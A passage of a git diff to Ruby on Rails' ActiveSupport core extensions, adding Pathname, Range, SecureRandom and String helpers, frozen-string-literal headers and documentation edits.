+        public_send("#{key}=", old_value)
+      end
+    end
+  end
+end
+
+# #with isn't usable on immediates, so we might as well undefine the
+# method in common immediate classes to avoid potential confusion.
+[NilClass, TrueClass, FalseClass, Integer, Float, Symbol].each do |klass|
+  klass.undef_method(:with)
+end
diff --git a/activesupport/lib/active_support/core_ext/object/with_options.rb b/activesupport/lib/active_support/core_ext/object/with_options.rb
index cf39b1d3128b3..932aec221b485 100644
--- a/activesupport/lib/active_support/core_ext/object/with_options.rb
+++ b/activesupport/lib/active_support/core_ext/object/with_options.rb
@@ -1,11 +1,13 @@
+# frozen_string_literal: true
+
 require "active_support/option_merger"
 
 class Object
   # An elegant way to factor duplication out of options passed to a series of
   # method calls. Each method called in the block, with the block variable as
-  # the receiver, will have its options merged with the default +options+ hash
-  # provided. Each method called on the block variable must take an options
-  # hash as its final argument.
+  # the receiver, will have its options merged with the default +options+
+  # <tt>Hash</tt> or <tt>Hash</tt>-like object provided. Each method called on
+  # the block variable must take an options hash as its final argument.
   #
   # Without <tt>with_options</tt>, this code contains duplication:
   #
@@ -60,10 +62,40 @@ class Object
   #
   #   validates :content, length: { minimum: 50 }, if: -> { content.present? }
   #
-  # Hence the inherited default for `if` key is ignored.
+  # Hence the inherited default for +if+ key is ignored.
+  #
+  # NOTE: You cannot call class methods implicitly inside of +with_options+.
+  # You can access these methods using the class name instead:
+  #
+  #   class Phone < ActiveRecord::Base
+  #     enum :phone_number_type, { home: 0, office: 1, mobile: 2 }
+  #
+  #     with_options presence: true do
+  #       validates :phone_number_type, inclusion: { in: Phone.phone_number_types.keys }
+  #     end
+  #   end
+  #
+  # When the block argument is omitted, the decorated Object instance is returned:
+  #
+  #   module MyStyledHelpers
+  #     def styled
+  #       with_options style: "color: red;"
+  #     end
+  #   end
+  #
+  #   styled.link_to "I'm red", "/"
+  #   # => <a href="/" style="color: red;">I'm red</a>
+  #
+  #   styled.button_tag "I'm red too!"
+  #   # => <button style="color: red;">I'm red too!</button>
   #
   def with_options(options, &block)
     option_merger = ActiveSupport::OptionMerger.new(self, options)
-    block.arity.zero? ? option_merger.instance_eval(&block) : block.call(option_merger)
+
+    if block
+      block.arity.zero? ? option_merger.instance_eval(&block) : block.call(option_merger)
+    else
+      option_merger
+    end
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/pathname.rb b/activesupport/lib/active_support/core_ext/pathname.rb
new file mode 100644
index 0000000000000..8d1f42b5acb9c
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/pathname.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+require_relative "pathname/blank"
+require_relative "pathname/existence"
diff --git a/activesupport/lib/active_support/core_ext/pathname/blank.rb b/activesupport/lib/active_support/core_ext/pathname/blank.rb
new file mode 100644
index 0000000000000..8a9be3ce1d070
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/pathname/blank.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+require "pathname"
+
+class Pathname
+  # An Pathname is blank if it's empty:
+  #
+  #   Pathname.new("").blank?      # => true
+  #   Pathname.new(" ").blank?     # => false
+  #   Pathname.new("test").blank?  # => false
+  #
+  # @return [true, false]
+  def blank?
+    to_s.empty?
+  end
+
+  def present? # :nodoc:
+    !to_s.empty?
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/pathname/existence.rb b/activesupport/lib/active_support/core_ext/pathname/existence.rb
new file mode 100644
index 0000000000000..848eb4dcec7fb
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/pathname/existence.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require "pathname"
+
+class Pathname
+  # Returns the receiver if the named file exists otherwise returns +nil+.
+  # <tt>pathname.existence</tt> is equivalent to
+  #
+  #    pathname.exist? ? pathname : nil
+  #
+  # For example, something like
+  #
+  #   content = pathname.read if pathname.exist?
+  #
+  # becomes
+  #
+  #   content = pathname.existence&.read
+  #
+  # @return [Pathname]
+  def existence
+    self if exist?
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/range.rb b/activesupport/lib/active_support/core_ext/range.rb
index 3190e3ff7619d..d9fc27183ca4e 100644
--- a/activesupport/lib/active_support/core_ext/range.rb
+++ b/activesupport/lib/active_support/core_ext/range.rb
@@ -1,4 +1,6 @@
-require "active_support/core_ext/range/conversions"
-require "active_support/core_ext/range/include_range"
-require "active_support/core_ext/range/overlaps"
-require "active_support/core_ext/range/each"
+# frozen_string_literal: true
+
+require_relative "range/conversions"
+require_relative "range/compare_range"
+require_relative "range/overlap"
+require_relative "range/sole"
diff --git a/activesupport/lib/active_support/core_ext/range/compare_range.rb b/activesupport/lib/active_support/core_ext/range/compare_range.rb
new file mode 100644
index 0000000000000..affbbebb42826
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/range/compare_range.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module CompareWithRange
+    # Extends the default Range#=== to support range comparisons.
+    #  (1..5) === (1..5)  # => true
+    #  (1..5) === (2..3)  # => true
+    #  (1..5) === (1...6) # => true
+    #  (1..5) === (2..6)  # => false
+    #
+    # The native Range#=== behavior is untouched.
+    #  ('a'..'f') === ('c') # => true
+    #  (5..9) === (11) # => false
+    #
+    # The given range must be fully bounded, with both start and end.
+    def ===(value)
+      if value.is_a?(::Range)
+        is_backwards_op = value.exclude_end? ? :>= : :>
+        return false if value.begin && value.end && value.begin.public_send(is_backwards_op, value.end)
+        # 1...10 includes 1..9 but it does not include 1..10.
+        # 1..10 includes 1...11 but it does not include 1...12.
+        operator = exclude_end? && !value.exclude_end? ? :< : :<=
+        value_max = !exclude_end? && value.exclude_end? ? value.max : value.last
+        super(value.first) && (self.end.nil? || value_max.public_send(operator, last))
+      else
+        super
+      end
+    end
+
+    # Extends the default Range#include? to support range comparisons.
+    #  (1..5).include?(1..5)  # => true
+    #  (1..5).include?(2..3)  # => true
+    #  (1..5).include?(1...6) # => true
+    #  (1..5).include?(2..6)  # => false
+    #
+    # The native Range#include? behavior is untouched.
+    #  ('a'..'f').include?('c') # => true
+    #  (5..9).include?(11) # => false
+    #
+    # The given range must be fully bounded, with both start and end.
+    def include?(value)
+      if value.is_a?(::Range)
+        is_backwards_op = value.exclude_end? ? :>= : :>
+        return false if value.begin && value.end && value.begin.public_send(is_backwards_op, value.end)
+        # 1...10 includes 1..9 but it does not include 1..10.
+        # 1..10 includes 1...11 but it does not include 1...12.
+        operator = exclude_end? && !value.exclude_end? ? :< : :<=
+        value_max = !exclude_end? && value.exclude_end? ? value.max : value.last
+        super(value.first) && (self.end.nil? || value_max.public_send(operator, last))
+      else
+        super
+      end
+    end
+  end
+end
+
+Range.prepend(ActiveSupport::CompareWithRange)
diff --git a/activesupport/lib/active_support/core_ext/range/conversions.rb b/activesupport/lib/active_support/core_ext/range/conversions.rb
index 69ea046cb6afd..b6d818642e4b8 100644
--- a/activesupport/lib/active_support/core_ext/range/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/range/conversions.rb
@@ -1,31 +1,62 @@
-module ActiveSupport::RangeWithFormat
-  RANGE_FORMATS = {
-    db: Proc.new { |start, stop| "BETWEEN '#{start.to_s(:db)}' AND '#{stop.to_s(:db)}'" }
-  }
+# frozen_string_literal: true
 
-  # Convert range to a formatted string. See RANGE_FORMATS for predefined formats.
-  #
-  #   range = (1..100)           # => 1..100
-  #
-  #   range.to_s                 # => "1..100"
-  #   range.to_s(:db)            # => "BETWEEN '1' AND '100'"
-  #
-  # == Adding your own range formats to to_s
-  # You can add your own formats to the Range::RANGE_FORMATS hash.
-  # Use the format name as the hash key and a Proc instance.
-  #
-  #   # config/initializers/range_formats.rb
-  #   Range::RANGE_FORMATS[:short] = ->(start, stop) { "Between #{start.to_s(:db)} and #{stop.to_s(:db)}" }
-  def to_s(format = :default)
-    if formatter = RANGE_FORMATS[format]
-      formatter.call(first, last)
-    else
-      super()
+module ActiveSupport
+  # = \Range With Format
+  module RangeWithFormat
+    RANGE_FORMATS = {
+      db: -> (start, stop) do
+        if start && stop
+          case start
+          when String then "BETWEEN '#{start}' AND '#{stop}'"
+          else
+            "BETWEEN '#{start.to_fs(:db)}' AND '#{stop.to_fs(:db)}'"
+          end
+        elsif start
+          case start
+          when String then ">= '#{start}'"
+          else
+            ">= '#{start.to_fs(:db)}'"
+          end
+        elsif stop
+          case stop
+          when String then "<= '#{stop}'"
+          else
+            "<= '#{stop.to_fs(:db)}'"
+          end
+        end
+      end
+    }
+
+    # Convert range to a formatted string. See RANGE_FORMATS for predefined formats.
+    #
+    # This method is aliased to <tt>to_formatted_s</tt>.
+    #
+    #   range = (1..100)           # => 1..100
+    #
+    #   range.to_s                 # => "1..100"
+    #   range.to_fs(:db)           # => "BETWEEN '1' AND '100'"
+    #
+    #   range = (1..)              # => 1..
+    #   range.to_fs(:db)           # => ">= '1'"
+    #
+    #   range = (..100)            # => ..100
+    #   range.to_fs(:db)           # => "<= '100'"
+    #
+    # == Adding your own range formats to to_fs
+    # You can add your own formats to the Range::RANGE_FORMATS hash.
+    # Use the format name as the hash key and a Proc instance.
+    #
+    #   # config/initializers/range_formats.rb
+    #   Range::RANGE_FORMATS[:short] = ->(start, stop) { "Between #{start.to_fs(:db)} and #{stop.to_fs(:db)}" }
+    def to_fs(format = :default)
+      if formatter = RANGE_FORMATS[format]
+        formatter.call(self.begin, self.end)
+      else
+        to_s
+      end
     end
+    alias_method :to_formatted_s, :to_fs
   end
-
-  alias_method :to_default_s, :to_s
-  alias_method :to_formatted_s, :to_s
 end
 
 Range.prepend(ActiveSupport::RangeWithFormat)
diff --git a/activesupport/lib/active_support/core_ext/range/each.rb b/activesupport/lib/active_support/core_ext/range/each.rb
deleted file mode 100644
index dc6dad5ceddc2..0000000000000
--- a/activesupport/lib/active_support/core_ext/range/each.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-module ActiveSupport
-  module EachTimeWithZone #:nodoc:
-    def each(&block)
-      ensure_iteration_allowed
-      super
-    end
-
-    def step(n = 1, &block)
-      ensure_iteration_allowed
-      super
-    end
-
-    private
-
-      def ensure_iteration_allowed
-        raise TypeError, "can't iterate from #{first.class}" if first.is_a?(Time)
-      end
-  end
-end
-
-Range.prepend(ActiveSupport::EachTimeWithZone)
diff --git a/activesupport/lib/active_support/core_ext/range/include_range.rb b/activesupport/lib/active_support/core_ext/range/include_range.rb
deleted file mode 100644
index c69e1e3fb9548..0000000000000
--- a/activesupport/lib/active_support/core_ext/range/include_range.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-module ActiveSupport
-  module IncludeWithRange #:nodoc:
-    # Extends the default Range#include? to support range comparisons.
-    #  (1..5).include?(1..5) # => true
-    #  (1..5).include?(2..3) # => true
-    #  (1..5).include?(2..6) # => false
-    #
-    # The native Range#include? behavior is untouched.
-    #  ('a'..'f').include?('c') # => true
-    #  (5..9).include?(11) # => false
-    def include?(value)
-      if value.is_a?(::Range)
-        # 1...10 includes 1..9 but it does not include 1..10.
-        operator = exclude_end? && !value.exclude_end? ? :< : :<=
-        super(value.first) && value.last.send(operator, last)
-      else
-        super
-      end
-    end
-  end
-end
-
-Range.prepend(ActiveSupport::IncludeWithRange)
diff --git a/activesupport/lib/active_support/core_ext/range/overlap.rb b/activesupport/lib/active_support/core_ext/range/overlap.rb
new file mode 100644
index 0000000000000..c26b8b064b859
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/range/overlap.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+class Range
+  unless Range.method_defined?(:overlap?) # Ruby 3.3+
+    # Compare two ranges and see if they overlap each other
+    #  (1..5).overlap?(4..6) # => true
+    #  (1..5).overlap?(7..9) # => false
+    def overlap?(other)
+      raise TypeError unless other.is_a? Range
+
+      self_begin = self.begin
+      other_end = other.end
+      other_excl = other.exclude_end?
+
+      return false if _empty_range?(self_begin, other_end, other_excl)
+
+      other_begin = other.begin
+      self_end = self.end
+      self_excl = self.exclude_end?
+
+      return false if _empty_range?(other_begin, self_end, self_excl)
+      return true if self_begin == other_begin
+
+      return false if _empty_range?(self_begin, self_end, self_excl)
+      return false if _empty_range?(other_begin, other_end, other_excl)
+
+      true
+    end
+
+    private
+    def _empty_range?(b, e, excl)
+      return false if b.nil? || e.nil?
+
+      comp = b <=> e
+      comp.nil? || comp > 0 || (comp == 0 && excl)
+    end
+  end
+
+  alias :overlaps? :overlap?
+end
diff --git a/activesupport/lib/active_support/core_ext/range/overlaps.rb b/activesupport/lib/active_support/core_ext/range/overlaps.rb
deleted file mode 100644
index 603657c1807dc..0000000000000
--- a/activesupport/lib/active_support/core_ext/range/overlaps.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-class Range
-  # Compare two ranges and see if they overlap each other
-  #  (1..5).overlaps?(4..6) # => true
-  #  (1..5).overlaps?(7..9) # => false
-  def overlaps?(other)
-    cover?(other.first) || other.cover?(first)
-  end
-end
diff --git a/activesupport/lib/active_support/core_ext/range/sole.rb b/activesupport/lib/active_support/core_ext/range/sole.rb
new file mode 100644
index 0000000000000..6d2f9c62c8ee1
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/range/sole.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class Range
+  # Returns the sole item in the range. If there are no items, or more
+  # than one item, raises Enumerable::SoleItemExpectedError.
+  #
+  #   (1..1).sole   # => 1
+  #   (2..1).sole   # => Enumerable::SoleItemExpectedError: no item found
+  #   (..1).sole    # => Enumerable::SoleItemExpectedError: infinite range cannot represent a sole item
+  def sole
+    if self.begin.nil? || self.end.nil?
+      raise ActiveSupport::EnumerableCoreExt::SoleItemExpectedError, "infinite range '#{inspect}' cannot represent a sole item"
+    end
+
+    super
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/regexp.rb b/activesupport/lib/active_support/core_ext/regexp.rb
index d77d01bf42e69..15534ff52fc5c 100644
--- a/activesupport/lib/active_support/core_ext/regexp.rb
+++ b/activesupport/lib/active_support/core_ext/regexp.rb
@@ -1,9 +1,14 @@
-class Regexp #:nodoc:
+# frozen_string_literal: true
+
+class Regexp
+  # Returns +true+ if the regexp has the multiline flag set.
+  #
+  #   (/./).multiline?  # => false
+  #   (/./m).multiline? # => true
+  #
+  #   Regexp.new(".").multiline?                    # => false
+  #   Regexp.new(".", Regexp::MULTILINE).multiline? # => true
   def multiline?
     options & MULTILINE == MULTILINE
   end
-
-  def match?(string, pos = 0)
-    !!match(string, pos)
-  end unless //.respond_to?(:match?)
 end
diff --git a/activesupport/lib/active_support/core_ext/securerandom.rb b/activesupport/lib/active_support/core_ext/securerandom.rb
index a57685bea14c0..33fa19586aa79 100644
--- a/activesupport/lib/active_support/core_ext/securerandom.rb
+++ b/activesupport/lib/active_support/core_ext/securerandom.rb
@@ -1,23 +1,83 @@
+# frozen_string_literal: true
+
 require "securerandom"
 
 module SecureRandom
   BASE58_ALPHABET = ("0".."9").to_a + ("A".."Z").to_a + ("a".."z").to_a - ["0", "O", "I", "l"]
+  BASE36_ALPHABET = ("0".."9").to_a + ("a".."z").to_a
+  BASE32_ALPHABET = ("0".."9").to_a + ("A".."Z").to_a - ["I", "L", "O", "U"]
+
   # SecureRandom.base58 generates a random base58 string.
   #
-  # The argument _n_ specifies the length, of the random string to be generated.
+  # The argument _n_ specifies the length of the random string to be generated.
   #
   # If _n_ is not specified or is +nil+, 16 is assumed. It may be larger in the future.
   #
-  # The result may contain alphanumeric characters except 0, O, I and l
+  # The result may contain alphanumeric characters except 0, O, I, and l.
   #
   #   p SecureRandom.base58 # => "4kUgL2pdQMSCQtjE"
   #   p SecureRandom.base58(24) # => "77TMHrHJFvFDwodq8w7Ev2m7"
+  if SecureRandom.method(:alphanumeric).parameters.size == 2 # Remove check when Ruby 3.3 is the minimum supported version
+    def self.base58(n = 16)
+      alphanumeric(n, chars: BASE58_ALPHABET)
+    end
+  else
+    def self.base58(n = 16)
+      SecureRandom.random_bytes(n).unpack("C*").map do |byte|
+        idx = byte % 64
+        idx = SecureRandom.random_number(58) if idx >= 58
+        BASE58_ALPHABET[idx]
+      end.join
+    end
+  end
+
+  # SecureRandom.base36 generates a random base36 string in lowercase.
+  #
+  # The argument _n_ specifies the length of the random string to be generated.
+  #
+  # If _n_ is not specified or is +nil+, 16 is assumed. It may be larger in the future.
+  # This method can be used over +base58+ if a deterministic case key is necessary.
+  #
+  # The result will contain alphanumeric characters in lowercase.
+  #
+  #   p SecureRandom.base36 # => "4kugl2pdqmscqtje"
+  #   p SecureRandom.base36(24) # => "77tmhrhjfvfdwodq8w7ev2m7"
+  if SecureRandom.method(:alphanumeric).parameters.size == 2 # Remove check when Ruby 3.3 is the minimum supported version
+    def self.base36(n = 16)
+      alphanumeric(n, chars: BASE36_ALPHABET)
+    end
+  else
+    def self.base36(n = 16)
+      SecureRandom.random_bytes(n).unpack("C*").map do |byte|
+        idx = byte % 64
+        idx = SecureRandom.random_number(36) if idx >= 36
+        BASE36_ALPHABET[idx]
+      end.join
+    end
+  end
+
+  # SecureRandom.base32 generates a random Crockford base32 string in uppercase.
+  #
+  # The argument _n_ specifies the length of the random string to be generated.
+  #
+  # If _n_ is not specified or is +nil+, 16 is assumed. It may be larger in the future.
+  # This method can be used over +base58+ if a case-insensitive key that's unambiguous to humans is necessary.
+  #
+  # The result may contain alphanumeric characters in uppercase except I, L, O, and U.
   #
-  def self.base58(n = 16)
-    SecureRandom.random_bytes(n).unpack("C*").map do |byte|
-      idx = byte % 64
-      idx = SecureRandom.random_number(58) if idx >= 58
-      BASE58_ALPHABET[idx]
-    end.join
+  #   p SecureRandom.base32 # => "PAK1NG78CM1HJ44A"
+  #   p SecureRandom.base32(24) # => "BN9EAB8RG9BNTTC9BX7P5JGJ"
+  if SecureRandom.method(:alphanumeric).parameters.size == 2 # Remove check when Ruby 3.3 is the minimum supported version
+    def self.base32(n = 16)
+      alphanumeric(n, chars: BASE32_ALPHABET)
+    end
+  else
+    def self.base32(n = 16)
+      SecureRandom.random_bytes(n).unpack("C*").map do |byte|
+        idx = byte % 64
+        idx = SecureRandom.random_number(32) if idx >= 32
+        BASE32_ALPHABET[idx]
+      end.join
+    end
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/string.rb b/activesupport/lib/active_support/core_ext/string.rb
index 4cb3200875734..491eec2fc9955 100644
--- a/activesupport/lib/active_support/core_ext/string.rb
+++ b/activesupport/lib/active_support/core_ext/string.rb
@@ -1,13 +1,15 @@
-require "active_support/core_ext/string/conversions"
-require "active_support/core_ext/string/filters"
-require "active_support/core_ext/string/multibyte"
-require "active_support/core_ext/string/starts_ends_with"
-require "active_support/core_ext/string/inflections"
-require "active_support/core_ext/string/access"
-require "active_support/core_ext/string/behavior"
-require "active_support/core_ext/string/output_safety"
-require "active_support/core_ext/string/exclude"
-require "active_support/core_ext/string/strip"
-require "active_support/core_ext/string/inquiry"
-require "active_support/core_ext/string/indent"
-require "active_support/core_ext/string/zones"
+# frozen_string_literal: true
+
+require_relative "string/conversions"
+require_relative "string/filters"
+require_relative "string/multibyte"
+require_relative "string/starts_ends_with"
+require_relative "string/inflections"
+require_relative "string/access"
+require_relative "string/behavior"
+require_relative "string/output_safety"
+require_relative "string/exclude"
+require_relative "string/strip"
+require_relative "string/inquiry"
+require_relative "string/indent"
+require_relative "string/zones"
diff --git a/activesupport/lib/active_support/core_ext/string/access.rb b/activesupport/lib/active_support/core_ext/string/access.rb
index 6133826f3775d..f6a14c08bc5f2 100644
--- a/activesupport/lib/active_support/core_ext/string/access.rb
+++ b/activesupport/lib/active_support/core_ext/string/access.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class String
   # If you pass a single integer, returns a substring of one character at that
   # position. The first character of the string is at position 0, the next at
@@ -42,7 +44,7 @@ def at(position)
   #   str.from(0).to(-1) # => "hello"
   #   str.from(1).to(-2) # => "ell"
   def from(position)
-    self[position..-1]
+    self[position, length]
   end
 
   # Returns a substring from the beginning of the string to the given position.
@@ -59,7 +61,8 @@ def from(position)
   #   str.from(0).to(-1) # => "hello"
   #   str.from(1).to(-2) # => "ell"
   def to(position)
-    self[0..position]
+    position += size if position < 0
+    self[0, position + 1] || +""
   end
 
   # Returns the first character. If a limit is supplied, returns a substring
@@ -73,13 +76,7 @@ def to(position)
   #   str.first(0) # => ""
   #   str.first(6) # => "hello"
   def first(limit = 1)
-    if limit == 0
-      ""
-    elsif limit >= size
-      dup
-    else
-      to(limit - 1)
-    end
+    self[0, limit] || raise(ArgumentError, "negative limit")
   end
 
   # Returns the last character of the string. If a limit is supplied, returns a substring
@@ -93,12 +90,6 @@ def first(limit = 1)
   #   str.last(0) # => ""
   #   str.last(6) # => "hello"
   def last(limit = 1)
-    if limit == 0
-      ""
-    elsif limit >= size
-      dup
-    else
-      from(-limit)
-    end
+    self[[length - limit, 0].max, limit] || raise(ArgumentError, "negative limit")
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/string/behavior.rb b/activesupport/lib/active_support/core_ext/string/behavior.rb
index 710f1f4670400..35a5aa78405a6 100644
--- a/activesupport/lib/active_support/core_ext/string/behavior.rb
+++ b/activesupport/lib/active_support/core_ext/string/behavior.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class String
   # Enables more predictable duck-typing on String-like classes. See <tt>Object#acts_like?</tt>.
   def acts_like_string?
diff --git a/activesupport/lib/active_support/core_ext/string/conversions.rb b/activesupport/lib/active_support/core_ext/string/conversions.rb
index 221b4969cc40a..107721c69f997 100644
--- a/activesupport/lib/active_support/core_ext/string/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/string/conversions.rb
@@ -1,12 +1,14 @@
+# frozen_string_literal: true
+
 require "date"
 require "active_support/core_ext/time/calculations"
 
 class String
   # Converts a string to a Time value.
-  # The +form+ can be either :utc or :local (default :local).
+  # The +form+ can be either +:utc+ or +:local+ (default +:local+).
   #
   # The time is parsed using Time.parse method.
-  # If +form+ is :local, then the time is in the system timezone.
+  # If +form+ is +:local+, then the time is in the system timezone.
   # If the date part is missing then the current date is used and if
   # the time part is missing then it is assumed to be 00:00:00.
   #
@@ -16,10 +18,11 @@ class String
   #   "2012-12-13T06:12".to_time         # => 2012-12-13 06:12:00 +0100
   #   "2012-12-13T06:12".to_time(:utc)   # => 2012-12-13 06:12:00 UTC
   #   "12/13/2012".to_time               # => ArgumentError: argument out of range
+  #   "1604326192".to_time               # => ArgumentError: argument out of range
   def to_time(form = :local)
     parts = Date._parse(self, false)
     used_keys = %i(year mon mday hour min sec sec_fraction offset)
-    return if (parts.keys & used_keys).empty?
+    return if !parts.keys.intersect?(used_keys)
 
     now = Time.now
     time = Time.new(
diff --git a/activesupport/lib/active_support/core_ext/string/exclude.rb b/activesupport/lib/active_support/core_ext/string/exclude.rb
index 0ac684f6ee42b..8e462689f1cc2 100644
--- a/activesupport/lib/active_support/core_ext/string/exclude.rb
+++ b/activesupport/lib/active_support/core_ext/string/exclude.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class String
   # The inverse of <tt>String#include?</tt>. Returns true if the string
   # does not include the other string.
diff --git a/activesupport/lib/active_support/core_ext/string/filters.rb b/activesupport/lib/active_support/core_ext/string/filters.rb
index a9ec2eb842795..82c630f278726 100644
--- a/activesupport/lib/active_support/core_ext/string/filters.rb
+++ b/activesupport/lib/active_support/core_ext/string/filters.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class String
   # Returns the string, first removing all whitespace on both ends of
   # the string, and then changing remaining consecutive whitespace
@@ -43,7 +45,7 @@ def remove!(*patterns)
     self
   end
 
-  # Truncates a given +text+ after a given <tt>length</tt> if +text+ is longer than <tt>length</tt>:
+  # Truncates a given +text+ to length <tt>truncate_to</tt> if +text+ is longer than <tt>truncate_to</tt>:
   #
   #   'Once upon a time in a world far far away'.truncate(27)
   #   # => "Once upon a time in a wo..."
@@ -56,16 +58,20 @@ def remove!(*patterns)
   #   'Once upon a time in a world far far away'.truncate(27, separator: /\s/)
   #   # => "Once upon a time in a..."
   #
-  # The last characters will be replaced with the <tt>:omission</tt> string (defaults to "...")
-  # for a total length not exceeding <tt>length</tt>:
+  # The last characters will be replaced with the <tt>:omission</tt> string (defaults to "...").
+  # The total length will not exceed <tt>truncate_to</tt> unless both +text+ and <tt>:omission</tt>
+  # are longer than <tt>truncate_to</tt>:
   #
   #   'And they found that many people were sleeping better.'.truncate(25, omission: '... (continued)')
   #   # => "And they f... (continued)"
-  def truncate(truncate_at, options = {})
-    return dup unless length > truncate_at
+  #
+  #   'And they found that many people were sleeping better.'.truncate(4, omission: '... (continued)')
+  #   # => "... (continued)"
+  def truncate(truncate_to, options = {})
+    return dup unless length > truncate_to
 
     omission = options[:omission] || "..."
-    length_with_room_for_omission = truncate_at - omission.length
+    length_with_room_for_omission = truncate_to - omission.length
     stop = \
       if options[:separator]
         rindex(options[:separator], length_with_room_for_omission) || length_with_room_for_omission
@@ -73,7 +79,50 @@ def truncate(truncate_at, options = {})
         length_with_room_for_omission
       end
 
-    "#{self[0, stop]}#{omission}"
+    +"#{self[0, stop]}#{omission}"
+  end
+
+  # Truncates +text+ to at most <tt>truncate_to</tt> bytes in length without
+  # breaking string encoding by splitting multibyte characters or breaking
+  # grapheme clusters ("perceptual characters") by truncating at combining
+  # characters.
+  #
+  #   >> "🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪".size
+  #   # => 20
+  #   >> "🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪".bytesize
+  #   # => 80
+  #   >> "🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪🔪".truncate_bytes(20)
+  #   # => "🔪🔪🔪🔪…"
+  #
+  # The truncated text ends with the <tt>:omission</tt> string, defaulting
+  # to "…", for a total length not exceeding <tt>truncate_to</tt>.
+  #
+  # Raises +ArgumentError+ when the bytesize of <tt>:omission</tt> exceeds <tt>truncate_to</tt>.
+  def truncate_bytes(truncate_to, omission: "…")
+    omission ||= ""
+
+    case
+    when bytesize <= truncate_to
+      dup
+    when omission.bytesize > truncate_to
+      raise ArgumentError, "Omission #{omission.inspect} is #{omission.bytesize}, larger than the truncation length of #{truncate_to} bytes"
+    when omission.bytesize == truncate_to
+      omission.dup
+    else
+      self.class.new.force_encoding(encoding).tap do |cut|
+        cut_at = truncate_to - omission.bytesize
+
+        each_grapheme_cluster do |grapheme|
+          if cut.bytesize + grapheme.bytesize <= cut_at
+            cut << grapheme
+          else
+            break
+          end
+        end
+
+        cut << omission
+      end
+    end
   end
 
   # Truncates a given +text+ after a given number of words (<tt>words_count</tt>):
diff --git a/activesupport/lib/active_support/core_ext/string/indent.rb b/activesupport/lib/active_support/core_ext/string/indent.rb
index d7b58301d3ef9..9dcc4302f1802 100644
--- a/activesupport/lib/active_support/core_ext/string/indent.rb
+++ b/activesupport/lib/active_support/core_ext/string/indent.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class String
   # Same as +indent+, except it indents the receiver in-place.
   #
@@ -22,7 +24,7 @@ def indent!(amount, indent_string = nil, indent_empty_lines = false)
   #
   # The second argument, +indent_string+, specifies which indent string to
   # use. The default is +nil+, which tells the method to make a guess by
-  # peeking at the first indented line, and fallback to a space if there is
+  # peeking at the first indented line, and fall back to a space if there is
   # none.
   #
   #   "  foo".indent(2)        # => "    foo"
diff --git a/activesupport/lib/active_support/core_ext/string/inflections.rb b/activesupport/lib/active_support/core_ext/string/inflections.rb
index 7a2fc5c1b5f22..da127c9a01aca 100644
--- a/activesupport/lib/active_support/core_ext/string/inflections.rb
+++ b/activesupport/lib/active_support/core_ext/string/inflections.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/inflector/methods"
 require "active_support/inflector/transliterate"
 
@@ -28,6 +30,8 @@ class String
   #   'apple'.pluralize(2)         # => "apples"
   #   'ley'.pluralize(:es)         # => "leyes"
   #   'ley'.pluralize(1, :es)      # => "ley"
+  #
+  # See ActiveSupport::Inflector.pluralize.
   def pluralize(count = nil, locale = :en)
     locale = count if count.is_a?(Symbol)
     if count == 1
@@ -51,28 +55,34 @@ def pluralize(count = nil, locale = :en)
   #   'the blue mailmen'.singularize # => "the blue mailman"
   #   'CamelOctopi'.singularize      # => "CamelOctopus"
   #   'leyes'.singularize(:es)       # => "ley"
+  #
+  # See ActiveSupport::Inflector.singularize.
   def singularize(locale = :en)
     ActiveSupport::Inflector.singularize(self, locale)
   end
 
   # +constantize+ tries to find a declared constant with the name specified
   # in the string. It raises a NameError when the name is not in CamelCase
-  # or is not initialized.  See ActiveSupport::Inflector.constantize
+  # or is not initialized.
   #
   #   'Module'.constantize  # => Module
   #   'Class'.constantize   # => Class
   #   'blargle'.constantize # => NameError: wrong constant name blargle
+  #
+  # See ActiveSupport::Inflector.constantize.
   def constantize
     ActiveSupport::Inflector.constantize(self)
   end
 
   # +safe_constantize+ tries to find a declared constant with the name specified
   # in the string. It returns +nil+ when the name is not in CamelCase
-  # or is not initialized.  See ActiveSupport::Inflector.safe_constantize
+  # or is not initialized.
   #
   #   'Module'.safe_constantize  # => Module
   #   'Class'.safe_constantize   # => Class
   #   'blargle'.safe_constantize # => nil
+  #
+  # See ActiveSupport::Inflector.safe_constantize.
   def safe_constantize
     ActiveSupport::Inflector.safe_constantize(self)
   end
@@ -86,26 +96,35 @@ def safe_constantize
   #   'active_record'.camelize(:lower)        # => "activeRecord"
   #   'active_record/errors'.camelize         # => "ActiveRecord::Errors"
   #   'active_record/errors'.camelize(:lower) # => "activeRecord::Errors"
+  #
+  # See ActiveSupport::Inflector.camelize.
   def camelize(first_letter = :upper)
